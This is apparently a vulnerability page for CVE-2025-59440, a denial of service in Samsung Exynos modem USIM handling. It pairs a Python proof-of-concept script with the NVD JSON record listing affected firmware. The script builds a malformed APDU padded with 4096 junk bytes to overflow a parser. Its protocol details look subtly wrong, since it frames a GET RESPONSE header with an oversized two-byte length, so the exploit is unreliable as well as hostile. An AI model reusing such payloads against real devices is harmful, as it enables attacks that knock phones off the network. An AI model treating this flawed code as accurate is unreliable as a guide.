CVE-2025-59440

# PoC Concept for CVE-2025-59440 # This script demonstrates the structure of a malformed proactive command # that could trigger the Denial of Service in vulnerable Samsung USIM handlers. import struct def build_malicious_proactive_command(): # Command class and instruction for proactive commands cla = 0xA0 ins = 0xC0 # Example instruction (GET RESPONSE or specific proactive command) p1 = 0x00 p2 = 0x00 # Le field: Expected length. Setting an excessive or invalid length # may trigger the buffer overflow or parsing error. length = 0xFFFF # Constructing the APDU header header = struct.pack('>BBBBH', cla, ins, p1, p2, length) # Malicious payload: Filling with junk data to overflow the buffer payload = b'\x41' * 4096 return header + payload if __name__ == "__main__": poc_packet = build_malicious_proactive_command() print(f"[+] Generated PoC Packet Length: {len(poc_packet)}") print(f"[+] Hex Dump: {poc_packet[:50].hex()}...") # Note: Actual transmission requires interfacing with the SIM/Modem hardware.

{"cve": {"id": "CVE-2025-59440", "sourceIdentifier": "[email protected]", "published": "2026-04-06T18:16:40.937", "lastModified": "2026-04-07T16:51:46.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in USIM in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 9110, W920, W930, W1000, Modem 5123, Modem 5300, and Modem 5400. Improper handling of SIM card proactive commands leads to a Denial of Service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_990_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BCF6C91D-DECE-4630-85FE-C22EF2B9160A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_990:-:*:*:*:*:*:*:*", "matchCriteriaId": "87FE8214-E165-4874-BB5A-3C4298708039"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_980_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "5F18F62E-2012-442E-BE60-6E76325D1824"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_980:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D8701B6-6989-44D1-873A-A1823BFD7CCC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_850_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "1928760C-4FC4-45B0-84FF-C1105CD1DD2A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_850:-:*:*:*:*:*:*:*", "matchCriteriaId": "BB410A6D-642B-49AE-8B1C-EADA953A84DA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1080_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "43DE4D6F-D662-46F2-93BC-9AE950320BDE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1080:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE06CD56-8BFD-4208-843A-179E3E6F5C10"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1280_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD1A7B09-9031-4E54-A24F-3237C054166B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1280:-:*:*:*:*:*:*:*", "matchCriteriaId": "DFC68046-2F08-40D1-B158-89D8D9263541"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1330_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "C2635646-DD6A-4735-8E01-F45445584832"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1330:-:*:*:*:*:*:*:*", "matchCriteriaId": "AA0F8A58-71B7-4503-A03A-6FB4282D75BD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1380_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D381478B-C638-4663-BD71-144BE4B02E46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:*", "matchCriteriaId": "61E72146-72FE-4B54-AB79-3C665E7F016C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1480_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "64897B0D-EBF6-4BEB-BF54-ABCDBFAB45E0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1480:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3F328B4-0442-4748-B5EE-DD1CEE50D6CF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1580_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3594664-3CE6-4827-ABD4-B5719817F5D5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1580:-:*: ... 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